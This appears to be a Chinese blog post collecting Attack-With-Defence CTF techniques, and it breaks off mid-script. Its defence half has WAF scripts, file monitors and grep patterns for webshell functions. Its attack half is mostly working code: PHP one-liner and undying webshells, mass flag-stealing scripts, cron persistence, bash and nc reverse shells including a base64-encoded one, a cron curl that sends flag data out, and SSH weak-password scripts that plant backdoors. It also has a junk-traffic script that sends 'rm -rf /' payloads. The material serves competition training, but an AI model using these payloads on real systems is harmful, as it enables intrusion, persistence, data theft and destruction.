CTF线下赛AWD知识点【持续完善ing】

news2024/11/18 15:43:35

文章目录

  • CTF线下赛AWD知识点
    • AWD规则
    • 前期准备
      • SSH登录
        • 口令登录
        • 密钥登录
      • 改密码
        • SSH密码修改
        • mysql密码修改
      • 备份数据
        • 备份目录
        • 备份数据库
      • 查找后门
    • 自动提交flag
    • 防御思路
      • 基础查杀
        • 寻找最近20分钟修改过的文件
        • 寻找行数最短的文件
        • 关键字查杀
        • 查找命令执行函数
      • 文件监控
      • 杀不死马
        • 0x01.杀进程
        • 0x02.重启php等web应用(不推荐)
        • 0x03.竞争写入
      • 清除反弹shell
      • 提权
      • 日志分析
      • WAF
        • WAF脚本1:
    • 攻击思路
      • 信息收集
        • 主机发现
        • 端口扫描
      • 后门利用
        • curl读flag
        • 后门批量交flag脚本
      • 一句话木马
      • 隐藏shell
        • 1.文件名前面添加一个小数点
        • 2.把shell.php命名为-shell.php
      • 特殊的shell
        • 1.md5木马
      • 不死马
      • 权限维持
        • crontab定时任务
          • 0x01.使用定时任务写马
          • 0x02.定时任务发送带有flag的请求
          • 0x03.定时任务反弹shell
      • 反弹shell
      • SSH弱密码利用
      • 攻击搅屎脚本
        • 0x01.无线复制
        • 0x02.无线停止apache2 和 nginx
        • 0x03.循环删除
        • 0x04.DDOS脚本(最好不要用)
        • 0x05.删除数据库
    • 思维导图

CTF线下赛AWD知识点

AWD规则

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

  • 1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  • 2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(较少提供);
  • 3.flag在主办方的设定下每隔一定时间刷新一轮;
  • 4.各队一般都有一个初始分数;
  • 5.flag一旦被其他队伍拿走,该队扣除一定积分;
  • 6.得到flag的队伍加分;
  • 7.一般每个队伍会给一个低权限用户,非root权限;
  • 8.主办方会对每个队伍的服务进行check,服务器宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。

前期准备

SSH登录

口令登录

ssh口令登录格式:(默认22端口)

ssh 用户名@ip -p 端口号
例如:
ssh ctf@192.168.56.128 -p 2201

密钥登录

ssh -i 私钥文件路径 用户名@ip -p 端口
ssh -i /xxx/id_rsa ctf@192.168.56.128 -p 2201

改密码

官方给出的服务器密码有可能是默认的,这时我们需要赶快修改密码

如果我们发现每个队伍的SSH账号密码都是一样的,我们需要立即修改口令,同时可以准备好脚本,进行利用

SSH密码修改

passwd

mysql密码修改

# 法一
use mysql;
set password for root@localhost = password('需要修改的密码'); # 此处使用password()函数加密
flush privileges;

# 法二
update user set password = PASSWORD('需要修改的密码') where user = 'root';
flush privileges; # 刷新

备份数据

比赛开始后第一时间就要备份服务器中web目录下的文件/var/www/html/,为了防止对方利用漏洞进入服务器把文件全部删除了,导致服务器宕机了

比赛开始后第一时间备份数据库

备份目录

# z: .tar.gz的格式
# c: 压缩
# x: 解压缩
# v: 显示详细信息
# f: 指定文件

# 压缩
tar -zcvf file.tar.gz  directory_to_compress

# 解压
tar -zxvf file.tar.gz

备份数据库

  • 备份指定多个数据库
mysqldump -uroot -p123456 --databases DB1,DB2 > /tmp/db.sql
  • 不锁定表导出
mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql
# --all-databases 		导出所有数据库中的表和数据,而不只是特定数据库。
# --skip-lock-tables 	在导出过程中跳过锁定表。这可以确保在导出期间不会阻塞其他对数据库的操作。
  • 恢复备份(在mysql的终端执行该命令)
source /xxx/db.sql

执行了该命令,就可以将数据库恢复

查找后门

首先将服务器的源码下载下来,使用D盾扫描一下,看一下是不是有后门,如果有,马上删除自己服务器上的后门,同时也可以利用该后门攻击其他靶机

然后使用seay等工具进行代码审计

自动提交flag

比赛中提交 flag 一般会带上队伍 token 和 flag,格式如下:

flag.php?token=teamtoken&flag=this_is_flag

获取 flag 一般有两种方式:

  1. flag 在根目录,直接 cat 读取 flag
  2. 在对方机器请求指定地址(curl)获取 flag

flag 每几分钟更换一轮,手动提交显然是不太可能的,需要提前准备自动获取,提交 flag 的脚本,并根据实际情况进行修改

下面这个脚本每两分钟获取一次 flag 并自动提交

#coding:utf-8
import requests
import re
import time

url = "http://ip:"
url1 = ""
shell = "/includes/config.php?d=system"
passwd = "c" 
port = "80"
payload = {passwd: 'cat /flag'}

flag_server = "http://flag_server/flag_file.php?token=%s&flag=%s"
teamtoken = "team1"

def submit_flag(target, teamtoken, flag):
    url = flag_server % (teamtoken, flag)
    pos = {}
    print "[+]Submitting flag:%s:%s" % (target, url)
    response = requests.post(url, data=pos)
    content = response.text
    print "[+]content:%s" % content
    if "success" in content:
        print "[+]Success!!"
        return True
    else:
        print "[-]Failed"
        return False


def flag():
    f=open("webshelllist.txt","w") 
    f1=open("firstround_flag.txt","w")
    for i in [8802,8803,8804]: 
        url1=url+str(i)+shell
        try:
            print "------------------------------------"
            res=requests.post(url1,payload,timeout=1)
            if res.status_code == requests.codes.ok:
                print url1 + " connect shell sucess,flag is "+res.text
                # 记录shell和获取的flag
                print >>f1,url1+" connect shell sucess,flag is "+res.text
                print >>f,url1+","+passwd
                # 正则捕获flag
                if re.match(r'hello world(\w+)', res.text):   
                    flag = re.match(r'hello world(\w+)', res.text).group(1)
                    submit_flag(url1, teamtoken, flag)
                else:
                    print "[-]Can not get flag"
            else:
                print "shell 404"
        except:
            print url1 + "connect shell failed"
    		
    f.close()
    f1.close()

def timer(n):
    while True:
        flag()
        flag()
        flag()
        time.sleep(n)

timer(120)

防御思路

基础查杀

寻找最近20分钟修改过的文件

find /var/www/html -name *.php -mmin -20

寻找行数最短的文件

find ./ -name '*.php' | xargs wc -l | sort -u

关键字查杀

find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert'
find . -name '*.php' | xargs grep -n 'system()'

查找命令执行函数

find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

文件监控

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

运行:

python jiankong.py  /var/www/html

杀不死马

查看进程:

ps aux | grep www-data  
# 将指定用户进程过滤
www-data  4819  0.0  0.4 315808  9016 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  6663  0.0  0.6 316188 13460 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  6675  0.0  0.3 315620  6976 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  6690  0.0  0.4 315808  9016 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  6693  0.0  0.4 315800  9056 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  7170  0.0  0.6 316312 14100 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  7239  0.0  0.6 316172 14020 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  7526  0.0  0.4 315620  8364 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data  8380  0.0  0.6 316188 12612 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data 22554  0.0  0.3 315564  7416 ?        S    03:10   0:00 apache2 -D FOREGROUND
root     25353  0.0  0.0   8868  1544 pts/1    S+   05:25   0:00 grep --color=auto www-data

0x01.杀进程

kill -9 对应的进程号

或执行命令:

ps aux | grep www-data | awk '{print $2}' | xargs kill -9
ps aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
ps aux
列出进程信息

grep www-data
在进程信息中找到需要杀死的进程

grep -v grep
在进程信息中剔除带grep的信息

awk{print $2}’
提取字符串行内容的第2个字段,也就是当前示例的进程号

xargs kill -9
将进程号作为参数传递给kill -9这个命令

杀了进程之后清除不死马文件

0x02.重启php等web应用(不推荐)

service php-fpm restart

0x03.竞争写入

用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php'; # shell name
    $code = 'on shit';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

使用脚本将别人写的shell给挤掉

清除反弹shell

ps -ef 
ps -aux

出现www-data权限的/bin/sh一般为nc

然后杀进程:

kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`

提权

在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。

关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。

日志分析

实时地查看 Apache 服务器访问日志中最新的日志记录

tail --follow=name /var/log/apache2/access.log

log存放地址:

/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

为了对其他防守方进行干扰,可以利用脚本发生大量垃圾数据包,混淆视觉,给对方人员增加检测的难度,浪费对方的时间。

import requests
import time

def scan_attack():
    file={'shell.php','admin.php','web.php','login.php','1.php','index.php'}
    payload={'cat /flag','ls -al','rm -f','echo 1','echo 1 /proc/sys/net/ipv4/ip_forward','rm -rf / --no-preserve-root'}
    while(1):
        for i in range(2, 255):
            for ii in file:
                url='http://192.168.182.'+ str(i)+'/'+ii
                print(url)
                for iii in payload:
                    data={
                        'payload':iii
                    }
                    try:
                        requests.post(url,data=data)
                        print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
                        time.sleep(0.1)
                    except Exception as e:
                        time.sleep(0.1)
                        pass


if __name__ == '__main__':
    scan_attack()

WAF

备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。

可以使用 bash 命令在每一个 php 文件前面加上 require_once 包含 WAF 文件

# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
# -path 指需要排除的路径
find /var/www/html/ -path /var/www/html/folder -prune -o  -type f -name '*.php'|xargs  sed -i '1i<?php require_once "/tmp/waf.php";?>'

也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限

; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file = /tmp/waf.php

WAF脚本1:

<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
    write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa
rt $headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //URL进行检测,出现问题则拦截并记录filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
    $_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
    filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
    $_SERVER[$key] = filter_dangerous_words($value); //简单过滤
    
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
    $headers = array();
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $headers[$key] = $value;
        }
    }
    return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str) {
    for ($i = 0; $i < strlen($str); $i++) {
        $ascii = ord($str[$i]);
        if ($ascii > 126 || $ascii < 32) { //有中文这里要修改
            if (!in_array($ascii, array(
                9,
                10,
                13
            ))) {
                write_attack_log("interrupt");
            } else {
                $str = str_replace($ascii, " ", $str);
            }
        }
    }
    $str = str_replace(array(
        "`",
        "|",
        ";",
        ","
    ) , " ", $str);
    return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str) {
    if (strpos($str, "%25") !== false) {
        $str = str_replace("%25", "%", $str);
        return filter_0x25($str);
    } else {
        return $str;
    }
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str) {
    if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {
        write_attack_log("sqli");
    }

    if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {
        $tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
        if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {
            write_attack_log("LFI/LFR");;
        }
    } else {
        write_attack_log("LFI/LFR");
    }
    if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {
        write_attack_log("EXEC");
    }
    if (preg_match("/flag/i", $str)) {
        write_attack_log("GETFLAG");
    }
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str) {
    $str = str_replace("'", "‘", $str);
    $str = str_replace("\"", "“", $str);
    $str = str_replace("<", "《", $str);
    $str = str_replace(">", "》", $str);
    return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {
    $raw = '';
    $raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $key = substr($key, 5);
            $key = str_replace('_', '-', $key);
            $raw.= $key . ': ' . $value . "\r\n";
        }
    }
    $raw.= "\r\n";
    $raw.= file_get_contents('php://input');
    return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert) {
    date_default_timezone_set("Asia/Shanghai");
    $data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";
    $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径
    fwrite($ffff, $data);
    fclose($ffff);
    if ($alert == 'GETFLAG') {
        header("location:http://172.16.9.2/");  # 
    } else {
        sleep(15); //拦截前延时15秒
        
    }
    exit(0);
}
?>

郁离歌的一枚 WAF,会在 /tmp/loooooooogs 目录下生成日志文件

<?php

error_reporting(0); 
define('LOG_FILEDIR','/tmp/loooooooogs');
if(!is_dir(LOG_FILEDIR)){
	mkdir(LOG_FILEDIR);
}
function waf() 
{ 
if (!function_exists('getallheaders')) { 
function getallheaders() { 
foreach ($_SERVER as $name => $value) { 
if (substr($name, 0, 5) == 'HTTP_') 
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
} 
return $headers; 
} 
} 
$get = $_GET; 
$post = $_POST; 
$cookie = $_COOKIE; 
$header = getallheaders(); 
$files = $_FILES; 
$ip = $_SERVER["REMOTE_ADDR"]; 
$method = $_SERVER['REQUEST_METHOD']; 
$filepath = $_SERVER["SCRIPT_NAME"]; 
foreach ($_FILES as $key => $value) { 
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); 
file_put_contents($_FILES[$key]['tmp_name'], "virink"); 
}

unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

logging($input);

}

function logging($var){ 
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); 
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}

waf(); 
?>

攻击思路

信息收集

主机发现

  • nmap、arp-scan
  • python脚本
import requests
for x in range(2,255): 
    url = "http://192.168.1.{}".format(x) 
    try: 
        r = requests.post(url) 
        print(url) 
        except: 
        pass

端口扫描

  • nmap、masscan

以下是一些服务端口的漏洞:

端口漏洞
22ssh弱口令
873未授权访问漏洞
3306mysql弱口令
6379redis未授权访问漏洞

后门利用

curl读flag

curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
# -d 代表post请求体数据

后门批量交flag脚本

import requests
import re

data = {
    '123':"system('cat+/home/ctf/flag');"      # 一句话木马
}

list = []
def shell():
    for i in range(1,255):
        try:
            io = requests.get("http://192-168-1-" + str(i) + ".awd.bugku.cn/e/search/result/1.php?s=print_r(readfile(%27../../../../home/ctf/flag%27))") # get
            # list.append(io.text[0:38])
            list.append(re.search("flag{.*}", io.text).group(0)[:38])

        except:
            pass
    print(list)


def shell1():
    for i in range(1,255):
        try:
            io = requests.post("http://192-168-1-" + str(i) +".awd.bugku.cn/view/index/images/logo.php",data=data)  # post
            # list.append(io.text[0:38])
            list.append(re.search("flag{.*}", io.text).group(0)[:38])
        except:
            pass
    print(list)

while 1:
    shell()
    # shell1()

    for i in list:
        io = requests.get("https://ctf.bugku.com/awd/submit.html?token=c2c1e4d002daa9eea931888935b0dd86&flag=" + str(i))
        # token 根据场景更改
        

写flag脚本

#coding=utf-8
import requests
url_head="http://192.168.182.130"   #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass"                   #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()

flag=open("flag.txt","a")


for i in range(8000,8004):
    url=url_head+":"+str(i)+shell_addr
    try:
        res=requests.post(url,payload)#,timeout=1
        if res.status_code == requests.codes.ok:
            result = res.text
            print (result)
            flag.write(result+"\n") 
        else:
            print ("shell 404")
    except:
        print (url+" connect shell fail")

flag.close()

一句话木马

php: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
asp:   <%eval request ("pass")%>
aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

蚁剑连接get型一句话木马:

<?php eval($_GET['pass']);

/shell.php?pass=eval($_POST[1]);  # 把他转为post就行
连接密码:1

隐藏shell

如果我们直接将shell传到服务器上很容易被发现,然后被删除就完犊子了,我们需要一些操作隐藏起来

1.文件名前面添加一个小数点

shell.php改为.shell.php,文件就会隐藏起来

2.把shell.php命名为-shell.php

从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了

特殊的shell

1.md5木马

我们比赛在靶机上传一个马上去,我们不想要别人利用这个马借刀杀人,我们就需要添加一些利用条件:

<?php
	if(md5($_POST['pass'])=='9640496584e50a9ec80af42ef4d5db75') { # leek0s
        @eval($_POST['cmd']);
    }
?>

不死马

不死马又名内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在进程里,无限执行

不死马.php上传到serverserver执行文件server本地无限循环生成 (一句话.php)

不死马实例:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.like.php';
$code = '<?php if(md5($_POST["passwd"])=="62dd82739980bf39a979ff8145868d75"){@eval($_REQUEST['cmd']);} ?>'; # md5(leek0s0616)
while (1) {
    file_put_contents($file, $code);
    system('touch -m -d "2018-12-01 09:10:12" shell2.php');
    usleep(2000);
}
?>

# 传参:passwd=leekos&cmd=

解释一下:

ignore_user_abort(true);   //设置与远程客户端断开后继续执行脚本
set_time_limit(0);   //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__);   //删除文件本身
$file = '.like.php';   //文件名是.like.php
$code = <?php ?>;   //php代码
file_get_contents(file,code);   //打开file文件,然后写入code
system('touch -m -d "2018-12-01 09:10:12" shell2.php'); //修改文件修改时间
usleep(2000);   //每隔2s写入一个新文件

权限维持

权限维持很重要,以后每一轮预留的后门都会减少,不要着急拿flag

crontab定时任务

crontab命令:

  • crontab -e:编辑当前用户的 crontab 文件。如果之前没有设置过 crontab,将会创建一个新的 crontab 文件。
  • crontab -l:列出当前用户的 crontab 文件中定义的所有任务。
  • crontab -r:删除当前用户的 crontab 文件,即移除所有已定义的任务。
  • crontab -i:删除当前用户的 crontab 文件前进行确认提示。
0x01.使用定时任务写马
system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'62dd82739980bf39a979ff8145868d75\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

pass=leek0s0616 来指定用户运行指定的定时任务

0x02.定时任务发送带有flag的请求

在bash中输入crontab -e

每2分钟向:http://ip:port/submit_flag 发送post请求,请求体中包含flag和token

*/2 * * * * curl ip:port/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
0x03.定时任务反弹shell
*/2 * * * * bash -i >& /dev/tcp/192.168.182.130/9996 0>&1

反弹shell

bash

bash -i >& /dev/tcp/192.168.182.130/9996 0>&1

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

nc

nc -e /bin/bash 192.168.99.242 1234

https://www.cnblogs.com/xiaozi/p/13493010.html

SSH弱密码利用

批量用户登入修改密码并写入webshell且获取flag值。

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko 
for i in range(2,255): # 这里可以改ip
    try:
            host = "4.4."+str(i)+".100" #
            s=paramiko.SSHClient()
            s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            s.connect(hostname=host,port=22,username='root',password='123456')
            stdin,stdout,stderr = s.exec_command('passwd\n') # 修改ssh密码
            stdin.write("123456\nPass@123.com\nPass@123.com\n")
            stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[leekos]);?>'>/var/www/html/.like.php")
            stdin,stdout,stderr = s.exec_command('cat /flag') # 获得flag
            print(host+':'+stdout.read().decode('utf-8'))
            s.close()
    except:
        print(host+':Fails!')

单个:

#-*- coding:utf-8 -*-
import paramiko
ip = '192.168.1.137'
port = '22'
username = 'root'
passwd = '123456'
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd='cat /flag'): # 命令
    port = int(port)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    stdin,stdout,stderr = ssh.exec_command(cmd)
    result = stdout.read()
    if not result :
        print("无结果!")
        result = stderr.read()
    ssh.close()
    return result.decode()
a = ssh_base_pwd(ip,port,username,passwd)
print(a)

批量:

#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python
q=queue.Queue()
#lock = threading.Lock()

# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):
    port = int(port)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    stdin,stdout,stderr = ssh.exec_command(cmd)
    result = stdout.read()
    if not result :
        result = stderr.read()
    ssh.close()
    return result.decode()

def main(x):
    shell = '''
    #服务器端
    import socket
    import os
    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(('0.0.0.0',9996))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
    s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
    con,addr=s.accept()     #接受一个客户端的连接
    #print(con,addr)
    for i in range(10):
        cmd=con.recv(1024)
        print(cmd)
        command=cmd.decode()
        if command.startswith('cd'):
            os.chdir(command[2:].strip())   #切换路径
